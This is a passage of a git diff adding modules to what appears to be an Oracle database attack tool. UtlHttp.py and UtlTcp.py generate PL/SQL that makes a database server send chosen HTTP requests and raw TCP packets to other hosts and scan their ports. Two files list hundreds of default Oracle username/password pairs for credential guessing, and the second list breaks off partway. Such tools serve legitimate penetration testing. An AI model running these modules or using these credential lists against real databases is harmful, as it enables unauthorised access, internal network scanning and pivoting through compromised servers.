{1}".format(args['removeFile'][1],status )) + else : + args['print'].goodNews("The {0} file was deleted on the {1} directory on the {2} server".format(args['removeFile'][1], args['removeFile'][0], args['server'])) + + + + + diff --git a/UtlHttp.py b/UtlHttp.py new file mode 100644 index 0000000..0140ed6 --- /dev/null +++ b/UtlHttp.py @@ -0,0 +1,114 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from Http import Http +import logging +from sys import exit +from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser +from Constants import * + +class UtlHttp (Http): + ''' + Allow the user to send HTTP request + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("UtlHttp object created") + Http.__init__(self,args) + + def setTimeout(self,value): + ''' + Set the timeout value with utl_http.set_transfer_timeout(value) + Default value = 60 s in oracle + Return True si Ok, otherwise return the Exception + ''' + status = self.__execProc__('utl_http.set_transfer_timeout',options=[value]) + if isinstance(status,Exception): + logging.warning("Impossible to set the timeout value: {0}".format(self.cleanError(status))) + return status + else : + logging.info('The timeout value is turned on {0} secs'.format(value)) + return True + + def sendGetRequest(self,url): + ''' + send a HTTP get request to url + Return False if the current user is not allowed to use the httpuritype lib, else return False or response data + ''' + logging.info('Send a HTTP GET request to {0}'.format(url)) + + query = "select utl_http.request('{0}') as data from dual".format(url) + response = self. __execThisQuery__(query=query,ld=['data']) + if isinstance(response,Exception): + logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) + return ErrorSQLRequest(response) + elif isinstance(response,list) and isinstance(response[0],dict): + return response[0]['data'] + logging.info('Enough privileges') + return '' + + def sendRequest(self,ip,port,filename): + ''' + ''' + params = self.parseRequest(nameFileRequest=filename) + if params == None : return False + request = "DECLARE req utl_http.req; res utl_http.resp; buffer varchar2(4000); BEGIN req := utl_http.begin_request('http://{0}:{1}{2}', '{3}','{4}');".format(ip,port,params['url'],params['method'],params['version']) + for key in params['header'].keys(): + request += "utl_http.set_header(req, '{0}','{1}');".format(key,params['header'][key]) + if params['body'] != None: + request += "utl_http.write_text(req, '{0}');".format(params['body']) + request += "res := utl_http.get_response(req); BEGIN LOOP utl_http.read_line(res, buffer); dbms_output.put_line(buffer); END LOOP; utl_http.end_response(res); exception when utl_http.end_of_body then utl_http.end_response(res); END; END;" + response = self.__execPLSQLwithDbmsOutput__(request=request) + return response + + def testAll (self): + ''' + Test all functions + ''' + self.args['print'].subtitle("UTL_HTTP library ?") + logging.info('Try to make the server send a HTTP request to 0.0.0.0 with the UTL_HTTP library') + response = self.sendGetRequest('http://0.0.0.0/') + if isinstance(response,Exception) and self.ERROR_NO_PRIVILEGE in str(response) or self.ERROR_NO_PRIVILEGE_INVALID_ID in str(response) or self.ERROR_XML_DB_SECU_NOT_INST in str(response): #ERROR_NO_PRIVILEGE_INVALID_ID ==> For Oracle 10g + logging.info('Not enough privileges: {0}'.format(str(response))) + self.args['print'].badNews("KO") + return False + else: + self.args['print'].goodNews("OK") + return True + +def runUtlHttpModule(args): + ''' + Run the UTL_HTTP module + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","scan-ports","send"]) == False : return EXIT_MISS_ARGUMENT + utlHttp = UtlHttp(args) + status = utlHttp.connection(stopIfError=True) + utlHttp.setTimeout(5) + if args['test-module'] == True : + args['print'].title("Test if the UTL_HTTP library can be used") + status = utlHttp.testAll() + #Option 1: sendRequest + if args['send'] != None: + args['print'].title("Send the HTTP request stored in the {0} file".format(args['send'][2])) + data = utlHttp.sendRequest(args['send'][0],args['send'][1],args['send'][2]) + if isinstance(data,Exception): + args['print'].badNews("Impossible to send the request: {0}".format(data)) + else : + args['print'].goodNews("Response from the server:\n{0}".format(data)) + #Option 2: scan-ports + if args['scan-ports'] != None: + ports = [] + if "," in args['scan-ports'][1]: ports=args['scan-ports'][1].split(',') + elif '-' in args['scan-ports'][1]: + startEnd = args['scan-ports'][1].split('-') + for aPort in range(int(startEnd[0]),int(startEnd[1])): ports.append(str(aPort)) + elif args['scan-ports'][1].isdigit() == True: ports = [args['scan-ports'][1]] + else : logging.error("Syntax for ports given not recognized") + args['print'].title("Scan ports ({0}) of {1} ".format(args['scan-ports'][1],args['scan-ports'][0])) + resultats = utlHttp.scanTcpPorts(httpObject=utlHttp,ip=args['scan-ports'][0],ports=ports) + utlHttp.printScanPortResults(resultats) + utlHttp.close() + diff --git a/UtlTcp.py b/UtlTcp.py new file mode 100644 index 0000000..f6f68d1 --- /dev/null +++ b/UtlTcp.py @@ -0,0 +1,96 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from Http import Http +import logging, cx_Oracle +from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser +from Constants import * + +import threading, thread + +class UtlTcp (Http): + ''' + Allow the user to scan ports + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("UtlTcp object created") + Http.__init__(self,args) + + def tryToConnect(self,server,port): + ''' + Try to connect to this server on the port selected + ''' + request = "DECLARE c utl_tcp.connection; BEGIN c := utl_tcp.open_connection('{0}',{1}); utl_tcp.close_connection(c); END;".format(server, port) + response = self.__execPLSQL__(request) + if isinstance(response,Exception): + logging.info('Impossible to connect to the {0}:{1} server with UTL_TCP: {2}'.format(server,port,response)) + return response + else : return True + + def sendPacket(self,server,port,filename=None, data=None): + ''' + Send a packet to the server, on the specific port + ''' + responsedata = "" + if filename==None and data==None : logging.error("To send a packet via UTL_TCP, you must choose between a name file or data") + if filename != None: data = self.__loadFile__(filename) + elif data == None: data = "" + data = data.encode("hex") + request = "DECLARE c utl_tcp.connection; ret_val pls_integer; bu RAW(32766); BEGIN c := utl_tcp.open_connection('{0}',{1}); bu:=hextoraw('{2}'); ret_val := utl_tcp.write_raw(c, bu); ret_val := utl_tcp.write_line(c); BEGIN LOOP dbms_output.put_line(utl_tcp.get_line(c, TRUE)); END LOOP; EXCEPTION WHEN utl_tcp.end_of_input THEN NULL; END; utl_tcp.close_connection(c); END;".format(server, port,data) + logging.info("Send the packet") + data = self.__execPLSQLwithDbmsOutput__(request,addLineBreak=True) + return data + + + def testAll (self): + ''' + Test all functions + ''' + self.args['print'].subtitle("UTL_TCP library ?") + logging.info('Try to make the server connect to 0.0.0.0:00 with the UTL_TCP library') + response = self.tryToConnect('0.0.0.0','1') + if isinstance(response,Exception) and self.ERROR_UTL_TCP_NETWORK not in str(response): + logging.info('Not enough privileges: {0}'.format(str(response))) + self.args['print'].badNews("KO") + return False + else: + self.args['print'].goodNews("OK") + return True + +def runUtlTcpModule(args): + ''' + Run the UTL_TCP module + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","send-packet","scan-ports"]) == False : return EXIT_MISS_ARGUMENT + utlTcp = UtlTcp(args) + status = utlTcp.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if the UTL_TCP library can be used") + status = utlTcp.testAll() + #Option 2: send packet + if args['send-packet'] != None: + args['print'].title("Send the packet stored in the {0} file".format(args['send-packet'][2])) + data = utlTcp.sendPacket(args['send-packet'][0],args['send-packet'][1],filename=args['send-packet'][2]) + if isinstance(data,Exception): + args['print'].badNews("Impossible to send the packet: {0}".format(data)) + else : + args['print'].goodNews("Response from the server:\n{0}".format(data)) + #Option 1: tcp Scan + if args['scan-ports'] != None: + ports = [] + if "," in args['scan-ports'][1]: ports=args['scan-ports'][1].split(',') + elif '-' in args['scan-ports'][1]: + startEnd = args['scan-ports'][1].split('-') + for aPort in range(int(startEnd[0]),int(startEnd[1])): ports.append(str(aPort)) + else : logging.error("Syntax for ports given not recognized") + args['print'].title("Scan ports ({0}) of {1} ".format(args['scan-ports'][1],args['scan-ports'][0])) + resultats = utlTcp.scanTcpPorts(httpObject=utlTcp,ip=args['scan-ports'][0],ports=ports) + utlTcp.printScanPortResults(resultats) + utlTcp.close() + + + diff --git a/accounts.txt b/accounts.txt new file mode 100644 index 0000000..38f5ec7 --- /dev/null +++ b/accounts.txt @@ -0,0 +1,488 @@ +ABM/ABM +ADAMS/WOOD +ADLDEMO/ADLDEMO +ADMINISTRATOR/ADMINISTRATOR +ADMIN/ADMIN +AHL/AHL +AHM/AHM +AK/AK +ALHRO/XXX +ALHRW/XXX +ALR/ALR +AMS/AMS +AMV/AMV +ANDY/SWORDFISH +ANONYMOUS/ANONYMOUS +AP/AP +APPLMGR/APPLMGR +APPLSYS/APPLSYS +APPS/APPS +APPS_MRC/APPS +APPUSER/APPPASSWORD +AQ/AQ +AQDEMO/AQDEMO +AQJAVA/AQJAVA +AQUSER/AQUSER +AR/AR +ASF/ASF +ASG/ASG +ASL/ASL +ASO/ASO +ASP/ASP +AST/AST +ATM/SAMPLEATM +AUDIOUSER/AUDIOUSER +AURORA$JIS$UTILITY$/INVALID +AURORA$ORB$UNAUTHENTICATED/INVALID +AX/AX +AZ/AZ +BC4J/BC4J +BEN/BEN +BIC/BIC +BIL/BIL +BIM/BIM +BIS/BIS +BIV/BIV +BIX/BIX +BLAKE/PAPER +BLEWIS/BLEWIS +BOM/BOM +BRIO_ADMIN/BRIO_ADMIN +BRUKERNAVN/PASSWORD +BUG_REPORTS/BUG_REPORTS +CALVIN/HOBBES +CATALOG/CATALOG +CCT/CCT +CDEMO82/CDEMO82 +CDEMOCOR/CDEMOCOR +CDEMORID/CDEMORID +CDEMOUCB/CDEMOUCB +CDOUGLAS/CDOUGLAS +CE/CE +CENTRA/CENTRA +CENTRAL/CENTRAL +CIDS/CIDS +CIS/CIS +CISINFO/CISINFO +CIS/ZWERG +CLARK/CLOTH +CLKANA/ +CLKRT/ +CN/CN +COMPANY/COMPANY +COMPIERE/COMPIERE +CQSCHEMAUSER/PASSWORD +CQUSERDBUSER/PASSWORD +CRP/CRP +CSC/CSC +CS/CS +CSD/CSD +CSE/CSE +CSF/CSF +CSI/CSI +CSL/CSL +CSMIG/CSMIG +CSP/CSP +CSR/CSR +CSS/CSS +CTXDEMO/CTXDEMO +CTXSYS/CTXSYS +CUA/CUA +CUE/CUE +CUF/CUF +CUG/CUG +CUI/CUI +CUN/CUN +CUP/CUP +CUS/CUS +CZ/CZ +DATA_SCHEMA/LASKJDF098KSDAF09 +DBATEST/DBATEST +DBI/MUMBLEFRATZ +DBSNMP/DBSNMP +DBVISION/DBVISION +DCM/ +DDIC/199220706 +DEMO8/DEMO8 +DEMO9/DEMO9 +DEMO/DEMO +DES2K/DES2K +DES/DES +DEV2000_DEMOS/DEV2000_DEMOS +DIANE/PASSWO1 +DIP/DIP +DISCOVERER5/ +DISCOVERER_ADMIN/DISCOVERER_ADMIN +DMSYS/DMSYS +DPF/DPFPASS +DSGATEWAY/DSGATEWAY +DSSYS/DSSYS +DTSP/DTSP +EAA/EAA +EAM/EAM +EARLYWATCH/SUPPORT +EAST/EAST +EC/EC +ECX/ECX +EJB/EJB +EJSADMIN/EJSADMIN +EMP/EMP +ENG/ENG +ENI/ENI +ESTOREUSER/ESTORE +EVENT/EVENT +EVM/EVM +EXAMPLE/EXAMPLE +EXFSYS/EXFSYS +EXTDEMO2/EXTDEMO2 +EXTDEMO/EXTDEMO +FA/FA +FEM/FEM +FII/FII +FINANCE/FINANCE +FINPROD/FINPROD +FLM/FLM +FND/FND +FOO/BAR +FPT/FPT +FRM/FRM +FROSTY/SNOWMAN +FTE/FTE +FV/FV +GL/GL +GMA/GMA +GMD/GMD +GME/GME +GMF/GMF +GMI/GMI +GML/GML +GMP/GMP +GMS/GMS +GPFD/GPFD +GPLD/GPLD +GR/GR +HADES/HADES +HCPARK/HCPARK +HLW/HLW +HR/HR +HRI/HRI +HVST/HVST +HXC/HXC +HXT/HXT +IBA/IBA +IBE/IBE +IBP/IBP +IBU/IBU +IBY/IBY +ICDBOWN/ICDBOWN +ICX/ICX +IDEMO_USER/IDEMO_USER +IEB/IEB +IEC/IEC +IEM/IEM +IEO/IEO +IES/IES +IEU/IEU +IEX/IEX +IFSSYS/IFSSYS +IGC/IGC +IGF/IGF +IGI/IGI +IGS/IGS +IGW/IGW +IMAGEUSER/IMAGEUSER +IMC/IMC +IMEDIA/IMEDIA +IMT/IMT +#INTERNAL/ORACLE +INTERNAL/ORACLE +#INTERNAL/SYS_STNT +INTERNAL/SYS_STNT +INV/INV +IPA/IPA +IPD/IPD +IPLANET/IPLANET +ISC/ISC +ITG/ITG +JA/JA +JAKE/PASSWO4 +JE/JE +JG/JG +JILL/PASSWO2 +JL/JL +JMUSER/JMUSER +JOHN/JOHN +JONES/STEEL +JTF/JTF +JTM/JTM +JTS/JTS +JWARD/AIROPLANE +KWALKER/KWALKER +L2LDEMO/L2LDEMO +LBACSYS/LBACSYS +LIBRARIAN/SHELVES +MANPROD/MANPROD +MARK/PASSWO3 +MASCARM/MANAGER +MASTER/PASSWORD +MDDATA/MDDATA +MDDEMO_CLERK/CLERK +MDDEMO/MDDEMO +MDDEMO_MGR/MDDEMO_MGR +MDSYS/MDSYS +ME/ME +MFG/MFG +MGR/MGR +MGWUSER/MGWUSER +MIGRATE/MIGRATE +MILLER/MILLER +MMO2/MMO2 +MODTEST/YES +MOREAU/MOREAU +MRP/MRP +MSC/MSC +MSD/MSD +MSO/MSO +MSR/MSR +MTSSYS/MTSSYS +MTS_USER/MTS_PASSWORD +MWA/MWA +MXAGENT/MXAGENT +NAMES/NAMES +NEOTIX_SYS/NEOTIX_SYS +NNEUL/NNEULPASS +NOMEUTENTE/PASSWORD +NOME_UTILIZADOR/SENHA +NOM_UTILISATEUR/MOT_DE_PASSE +NUME_UTILIZATOR/PAROL +OAIHUB902/ +OAS_PUBLIC/OAS_PUBLIC +OCITEST/OCITEST +OCM_DB_ADMIN/OCM_DB_ADMIN +ODM_MTR/MTRPW +ODM/ODM +ODSCOMMON/ODSCOMMON +ODS/ODS +ODS_SERVER/ODS_SERVER +OE/CHANGE_ON_INSTALL +OEMADM/OEMADM +OEMREP/OEMREP +OEM_REPOSITORY/ +OE/OE +OKB/OKB +OKC/OKC +OKE/OKE +OKI/OKI +OKO/OKO +OKR/OKR +OKS/OKS +OKX/OKX +OLAPDBA/OLAPDBA +OLAPSVR/OLAPSVR +OLAPSYS/OLAPSYS +OMWB_EMULATION/ORACLE +ONT/ONT +OO/OO +OPENSPIRIT/OPENSPIRIT +OPI/OPI +ORACACHE/ORACACHE +ORACLE/ORACLE +ORACLE_OCM/ORACLE_OCM +ORADBA/ORADBAPASS +ORANGE/ +ORAPROBE/ORAPROBE +ORAREGSYS/ORAREGSYS +ORASSO_DS/ORASSO_DS +ORASSO/ORASSO +ORASSO_PA/ORASSO_PA +ORASSO_PS/ORASSO_PS +ORASSO_PUBLIC/ORASSO_PUBLIC +ORASTAT/ORASTAT +ORCLADMIN/WELCOME +ORDCOMMON/ORDCOMMON +ORDPLUGINS/ORDPLUGINS +ORDSYS/ORDSYS +OSE$HTTP$ADMIN/INVALID +OSM/OSM +OSP22/OSP22 +OSSAQ_HOST/ +OSSAQ_PUB/ +OSSAQ_SUB/ +OTA/OTA +OUTLN/OUTLN +OWA/OWA +OWA_PUBLIC/OWA_PUBLIC +OWF_MGR/OWF_MGR +OWNER/OWNER +OZF/OZF +OZP/OZP +OZS/OZS +PANAMA/PANAMA +PA/PA +PATROL/PATROL +PAUL/PAUL +PERFSTAT/PERFSTAT +PERSTAT/PERSTAT +PJM/PJM +PLANNING/PLANNING +PLEX/PLEX +PLSQL/SUPERSECRET +PMI/PMI +PM/PM +PN/PN +PO7/PO7 +PO8/PO8 +POA/POA +POM/POM +PO/PO +PORTAL30_ADMIN/PORTAL30_ADMIN +PORTAL30_DEMO/PORTAL30_DEMO +PORTAL30/PORTAL30 +PORTAL30_PS/PORTAL30_PS +PORTAL30_PUBLIC/PORTAL30_PUBLIC +PORTAL30_SSO_ADMIN/PORTAL30_SSO_ADMIN +PORTAL30_SSO/PORTAL30_SSO +PORTAL30_SSO_PS/PORTAL30_SSO_PS +PORTAL30_SSO_PUBLIC/PORTAL30_SSO_PUBLIC +PORTAL_APP/ +PORTAL_DEMO/PORTAL_DEMO +PORTAL_PUBLIC/ +PORTAL_SSO_PS/PORTAL_SSO_PS +PORTAL/ +POS/POS +POWERCARTUSER/POWERCARTUSER +PRIMARY/PRIMARY +PSA/PSA +PSB/PSB +PSP/PSP +PUBSUB1/PUBSUB1 +PUBSUB/PUBSUB +PV/PV +QA/QA +QDBA/QDBA +QP/QP +QS_ADM/QS_ADM +QS_CBADM/CHANGE_ON_INSTALL +QS_CB/QS_CB +QS_CS/CHANGE_ON_INSTALL +QS_ES/QS_ES +QS_OS/QS_OS +QS/QS +QS_WS/QS_WS +REPADMIN/REPADMIN +REP_MANAGER/DEMO +REPORTS/REPORTS +REPORTS_USER/OEM_TEMP +REP_OWNER/REP_OWNER +REP_USER/DEMO +RE/RE +RG/RG +RHX/RHX +RLA/RLA +RLM/RLM +RMAIL/RMAIL +RMAN/RMAN +ROOT/ROOT +RRS/RRS +SAMPLE/SAMPLE +SAP/06071992 +SAPR3/SAP +SAP/SAPR3 +SCOTT/TIGER +SDOS_ICSAP/SDOS_ICSAP +SECDEMO/SECDEMO +SERVICECONSUMER1/SERVICECONSUMER1 +SH/SH +SI_INFORMTN_SCHEMA/SI_INFORMTN_SCHEMA +SITEMINDER/SITEMINDER +SLIDE/SLIDEPW +SPIERSON/SPIERSON +SSP/SSP +STARTER/STARTER +STRAT_USER/STRAT_PASSWD +SWPRO/SWPRO +SWUSER/SWUSER +SYMPA/SYMPA +SYS/SYS +SYSADMIN/SYSADMIN +SYSADM/SYSADM +SYSMAN/SYSMAN +SYSTEM/SYSTEM +TAHITI/TAHITI +TALBOT/MT6CH5 +TDOS_ICSAP/TDOS_ICSAP +TEC/TECTEC +TEST/PASSWD +TESTPILOT/TESTPILOT +TEST/TEST +TEST_USER/TEST_USER +THINSAMPLE/THINSAMPLEPW +TIBCO/TIBCO +TIP37/TIP37 +TRACESVR/TRACE +TRAVEL/TRAVEL +TSDEV/TSDEV +TSUSER/TSUSER +TURBINE/TURBINE +UDDISYS/ +ULTIMATE/ULTIMATE +UM_ADMIN/UM_ADMIN +UM_CLIENT/UM_CLIENT +USER0/USER0 +USER1/USER1 +USER2/USER2 +USER3/USER3 +USER4/USER4 +USER5/USER5 +USER6/USER6 +USER7/USER7 +USER8/USER8 +USER9/USER9 +USER_NAME/PASSWORD +USER/USER +USUARIO/CLAVE +UTILITY/UTILITY +UTLBSTATU/UTLESTAT +VEA/VEA +VEH/VEH +VERTEX_LOGIN/VERTEX_LOGIN +VIDEOUSER/VIDEOUSER +VIF_DEVELOPER/VIF_DEV_PWD +VIRUSER/VIRUSER +VPD_ADMIN/AKF7D98S2 +VRR1/VRR1 +WEBCAL01/WEBCAL01 +WEBDB/WEBDB +WEBREAD/WEBREAD +WEBSYS/MANAGER +WEBUSER/YOUR_PASS +WEST/WEST +WFADMIN/WFADMIN +WH/WH +WIP/WIP +WIRELESS/ +WKADMIN/WKADMIN +WKPROXY/CHANGE_ON_INSTALL +WK_PROXY/ +WKSYS/WKSYS +WK_TEST/WK_TEST +WKUSER/WKUSER +WMS/WMS +WMSYS/WMSYS +WOB/WOB +WPS/WPS +WSH/WSH +WSM/WSM +WWWUSER/WWWUSER +WWW/WWW +XADEMO/XADEMO +XDB/XDB +XDP/XDP +XLA/XLA +XNC/XNC +XNI/XNI +XNM/XNM +XNP/XNP +XNS/XNS +XPRT/XPRT +XTR/XTR diff --git a/accounts_multiple.txt b/accounts_multiple.txt new file mode 100644 index 0000000..f143b69 --- /dev/null +++ b/accounts_multiple.txt @@ -0,0 +1,604 @@ +ABM/ABM +ADAMS/WOOD +ADLDEMO/ADLDEMO +ADMINISTRATOR/ADMIN +ADMINISTRATOR/ADMINISTRATOR +ADMIN/JETSPEED +ADMIN/WELCOME +AHL/AHL +AHM/AHM +AK/AK +ALHRO/XXX +ALHRW/XXX +ALR/ALR +AMS/AMS +AMV/AMV +ANDY/SWORDFISH +ANONYMOUS/ANONYMOUS +ANONYMOUS/ +AP/AP +APPLMGR/APPLMGR +APPLSYS/APPLSYS +APPLSYS/APPS +APPLSYS/FND +APPLSYSPUB/APPLSYSPUB +APPLSYSPUB/FNDPUB +APPLSYSPUB/PUB +APPLYSYSPUB/FNDPUB +APPLYSYSPUB/PUB +APPLYSYSPUB/ +APPS/APPS +APPS_MRC/APPS +APPUSER/APPPASSWORD +AQ/AQ +AQDEMO/AQDEMO +AQJAVA/AQJAVA +AQUSER/AQUSER +AR/AR +ASF/ASF +ASG/ASG +ASL/ASL +ASO/ASO +ASP/ASP +AST/AST +ATM/SAMPLEATM +AUDIOUSER/AUDIOUSER +AURORA$JIS$UTILITY$/INVALID +AURORA$JIS$UTILITY$/ +AURORA$ORB$UNAUTHENTICATED/INVALID +AURORA$ORB$UNAUTHENTICATED/ +AX/AX +AZ/AZ +BC4J/BC4J +BEN/BEN +BIC/BIC +BIL/BIL +BIM/BIM +BIS/BIS +BIV/BIV +BIX/BIX +BLAKE/PAPER +BLEWIS/BLEWIS +BOM/BOM +BRIO_ADMIN/BRIO_ADMIN +BRUGERNAVN/ADGANGSKODE +BRUKERNAVN/PASSWORD +BSC/BSC +BUG_REPORTS/BUG_REPORTS +CALVIN/HOBBES +CARREFOUR/CARREFOUR +CATALOG/CATALOG +CCT/CCT +CDEMO82/CDEMO82 +CDEMO82/CDEMO83 +CDEMO82/UNKNOWN +CDEMOCOR/CDEMOCOR +CDEMORID/CDEMORID +CDEMOUCB/CDEMOUCB +CDOUGLAS/CDOUGLAS +CE/CE +CENTRA/CENTRA +CENTRAL/CENTRAL +CIDS/CIDS +CIS/CIS +CISINFO/CISINFO +CISINFO/ZWERG +CIS/ZWERG +CLARK/CLOTH +CLKANA/ +CLKRT/ +CN/CN +COMPANY/COMPANY +COMPIERE/COMPIERE +CQSCHEMAUSER/PASSWORD +CQUSERDBUSER/PASSWORD +CRP/CRP +CSC/CSC +CS/CS +CSD/CSD +CSE/CSE +CSF/CSF +CSI/CSI +CSL/CSL +CSMIG/CSMIG +CSP/CSP +CSR/CSR +CSS/CSS +CTXDEMO/CTXDEMO +CTXSYS/CHANGE_ON_INSTALL +CTXSYS/CTXSYS +CTXSYS/UNKNOWN +CTXSYS/ +CUA/CUA +CUE/CUE +CUF/CUF +CUG/CUG +CUI/CUI +CUN/CUN +CUP/CUP +CUS/CUS +CZ/CZ +DATA_SCHEMA/LASKJDF098KSDAF09 +DBATEST/DBATEST +DBI/MUMBLEFRATZ +DBSNMP/DBSNMP +DBVISION/DBVISION +DCM/ +DDIC/199220706 +DEMO8/DEMO8 +DEMO9/DEMO9 +DEMO/DEMO +DES2K/DES2K +DES/DES +DEV2000_DEMOS/DEV2000_DEMOS +DIANE/PASSWO1 +DIP/DIP +DISCOVERER5/ +DISCOVERER_ADMIN/DISCOVERER_ADMIN +DMSYS/DMSYS +DPF/DPFPASS +DSGATEWAY/DSGATEWAY +DSGATEWAY/ +DSSYS/DSSYS +DTSP/DTSP +EAA/EAA +EAM/EAM +EARLYWATCH/SUPPORT +EAST/EAST +EC/EC +ECX/ECX +EJB/EJB +EJSADMIN/EJSADMIN +EJSADMIN/EJSADMIN_PASSWORD +EMP/EMP +ENG/ENG +ENI/ENI +ESTOREUSER/ESTORE +EVENT/EVENT +EVM/EVM +EXAMPLE/EXAMPLE +EXFSYS/EXFSYS +EXTDEMO2/EXTDEMO2 +EXTDEMO/EXTDEMO +FA/FA +FEM/FEM +FII/FII +FINANCE/FINANCE +FINPROD/FINPROD +FLM/FLM +FND/FND +FOO/BAR +FPT/FPT +FRM/FRM +FROSTY/SNOWMAN +FTE/FTE +FV/FV +GL/GL +GMA/GMA +GMD/GMD +GME/GME +GMF/GMF +GMI/GMI +GML/GML +GMP/GMP +GMS/GMS +GPFD/GPFD +GPLD/GPLD +GR/GR +HADES/HADES +HCPARK/HCPARK +HLW/HLW +HR/CHANGE_ON_INSTALL +HR/HR +HRI/HRI +HR/UNKNOWN +HR/ +HVST/HVST +HXC/HXC +HXT/HXT +IBA/IBA +IBE/IBE +IBP/IBP +IBU/IBU +IBY/IBY +ICDBOWN/ICDBOWN +ICX/ICX +IDEMO_USER/IDEMO_USER +IEB/IEB +IEC/IEC +IEM/IEM +IEO/IEO +IES/IES +IEU/IEU +IEX/IEX +IFSSYS/IFSSYS +IGC/IGC +IGF/IGF +IGI/IGI +IGS/IGS +IGW/IGW +IMAGEUSER/IMAGEUSER +IMC/IMC +IMEDIA/IMEDIA +IMT/IMT +#INTERNAL/ORACLE +INTERNAL/ORACLE +#INTERNAL/SYS_STNT +INTERNAL/SYS_STNT +INV/INV +IPA/IPA +IPD/IPD +IPLANET/IPLANET +ISC/ISC +ITG/ITG +JA/JA +JAKE/PASSWO4 +JE/JE +JG/JG +JILL/PASSWO2 +JL /JL +JMUSER/JMUSER +JOHN/JOHN +JONES/STEEL +JTF/JTF +JTM/JTM +JTS/JTS +JWARD/AIROPLANE +KWALKER/KWALKER +L2LDEMO/L2LDEMO +LBACSYS/LBACSYS +LIBRARIAN/SHELVES +MANPROD/MANPROD +MARK/PASSWO3 +MASCARM/MANAGER +MASTER/PASSWORD +MDDATA/MDDATA +MDDEMO_CLERK/CLERK +MDDEMO_CLERK/MGR +MDDEMO/MDDEMO +MDDEMO_MGR/MDDEMO_MGR +MDDEMO_MGR/MGR +MDSYS/MDSYS +ME/ME +MFG/MFG +MGR/MGR +MGWUSER/MGWUSER +MIGRATE/MIGRATE +MILLER/MILLER +MMO2/MMO2 +MMO2/MMO3 +MMO2/UNKNOWN +MODTEST/YES +MOREAU/MOREAU +MRP/MRP +MSC/MSC +MSD/MSD +MSO/MSO +MSR/MSR +MTSSYS/MTSSYS +MTS_USER/MTS_PASSWORD +MWA/MWA +MXAGENT/MXAGENT +NAMES/NAMES +NEOTIX_SYS/NEOTIX_SYS +NNEUL/NNEULPASS +NOMEUTENTE/PASSWORD +NOME_UTILIZADOR/SENHA +NOM_UTILISATEUR/MOT_DE_PASSE +NUME_UTILIZATOR/PAROL +OAIHUB902/ +OAS_PUBLIC/OAS_PUBLIC +OAS_PUBLIC/ +OCITEST/OCITEST +OCM_DB_ADMIN/OCM_DB_ADMIN +OCM_DB_ADMIN/ +ODM_MTR/MTRPW +ODM/ODM +ODSCOMMON/ODSCOMMON +ODS/ODS +ODS_SERVER/ODS_SERVER +OE/CHANGE_ON_INSTALL +OEMADM/OEMADM +OEMREP/OEMREP +OEM_REPOSITORY/ +OE/OE +OE/UNKNOWN +OKB/OKB +OKC/OKC +OKE/OKE +OKI/OKI +OKO/OKO +OKR/OKR +OKS/OKS +OKX/OKX +OLAPDBA/OLAPDBA +OLAPSVR/INSTANCE +OLAPSVR/OLAPSVR +OLAPSYS/MANAGER +OLAPSYS/OLAPSYS +OMWB_EMULATION/ORACLE +ONT/ONT +OO/OO +OPENSPIRIT/OPENSPIRIT +OPI/OPI +ORACACHE/ORACACHE +ORACACHE/ +ORACLE/ORACLE +ORACLE_OCM/ORACLE_OCM +ORADBA/ORADBAPASS +ORANGE/ +ORAPROBE/ORAPROBE +ORAREGSYS/ORAREGSYS +ORASSO_DS/ORASSO_DS +ORASSO/ORASSO +ORASSO_PA/ORASSO_PA +ORASSO_PS/ORASSO_PS +ORASSO_PUBLIC/ORASSO_PUBLIC +ORASTAT/ORASTAT +ORCLADMIN/WELCOME +ORDCOMMON/ORDCOMMON +ORDPLUGINS/ORDPLUGINS +ORDSYS/ORDSYS +OSE$HTTP$ADMIN/INVALID +OSE$HTTP$ADMIN/Invalid password +OSM/OSM +OSP22/OSP22 +OSSAQ_HOST/ +OSSAQ_PUB/ +OSSAQ_SUB/ +OTA/OTA +OUTLN/OUTLN +OWA/OWA +OWA_PUBLIC/OWA_PUBLIC +OWF_MGR/OWF_MGR +OWF_MGR/ +OWNER/OWNER +OZF/OZF +OZP/OZP +OZS/OZS +PANAMA/PANAMA +PA/PA +PATROL/PATROL +PAUL/PAUL +PERFSTAT/PERFSTAT +PERSTAT/PERSTAT +PJM/PJM +PLANNING/PLANNING +PLEX/PLEX +PLSQL/SUPERSECRET +PM/CHANGE_ON_INSTALL +PMI/PMI +PM/PM +PM/UNKNOWN +PN/PN +PO7/PO7 +PO8/PO8 +POA/POA +POM/POM +PO/PO +PORTAL30_ADMIN/PORTAL30_ADMIN +PORTAL30_DEMO/PORTAL30_DEMO +PORTAL30/PORTAL30 +PORTAL30/PORTAL31 +PORTAL30_PS/PORTAL30_PS +PORTAL30_PUBLIC/PORTAL30_PUBLIC +PORTAL30_SSO_ADMIN/PORTAL30_SSO_ADMIN +PORTAL30_SSO/PORTAL30_SSO +PORTAL30_SSO_PS/PORTAL30_SSO_PS +PORTAL30_SSO_PUBLIC/PORTAL30_SSO_PUBLIC +PORTAL_APP/ +PORTAL_DEMO/PORTAL_DEMO +PORTAL_DEMO/ +PORTAL_PUBLIC/ +PORTAL_SSO_PS/PORTAL_SSO_PS +PORTAL/ +POS/POS +POWERCARTUSER/POWERCARTUSER +PRIMARY/PRIMARY +PSA/PSA +PSB/PSB +PSP/PSP +PUBSUB1/PUBSUB1 +PUBSUB/PUBSUB +PV/PV +QA/QA +QDBA/QDBA +QP/QP +QS_ADM/CHANGE_ON_INSTALL +QS_ADM/QS_ADM +QS_ADM/UNKNOWN +QS_CBADM/CHANGE_ON_INSTALL +QS_CBADM/QS_CBADM +QS_CBADM/UNKNOWN +QS_CB/CHANGE_ON_INSTALL +QS_CB/QS_CB +QS_CB/UNKNOWN +QS/CHANGE_ON_INSTALL +QS_CS/CHANGE_ON_INSTALL +QS_CS/QS_CS +QS_CS/UNKNOWN +QS_ES/CHANGE_ON_INSTALL +QS_ES/QS_ES +QS_ES/UNKNOWN +QS_OS/CHANGE_ON_INSTALL +QS_OS/QS_OS +QS_OS/UNKNOWN +QS/QS +QS/UNKNOWN +QS_WS/CHANGE_ON_INSTALL 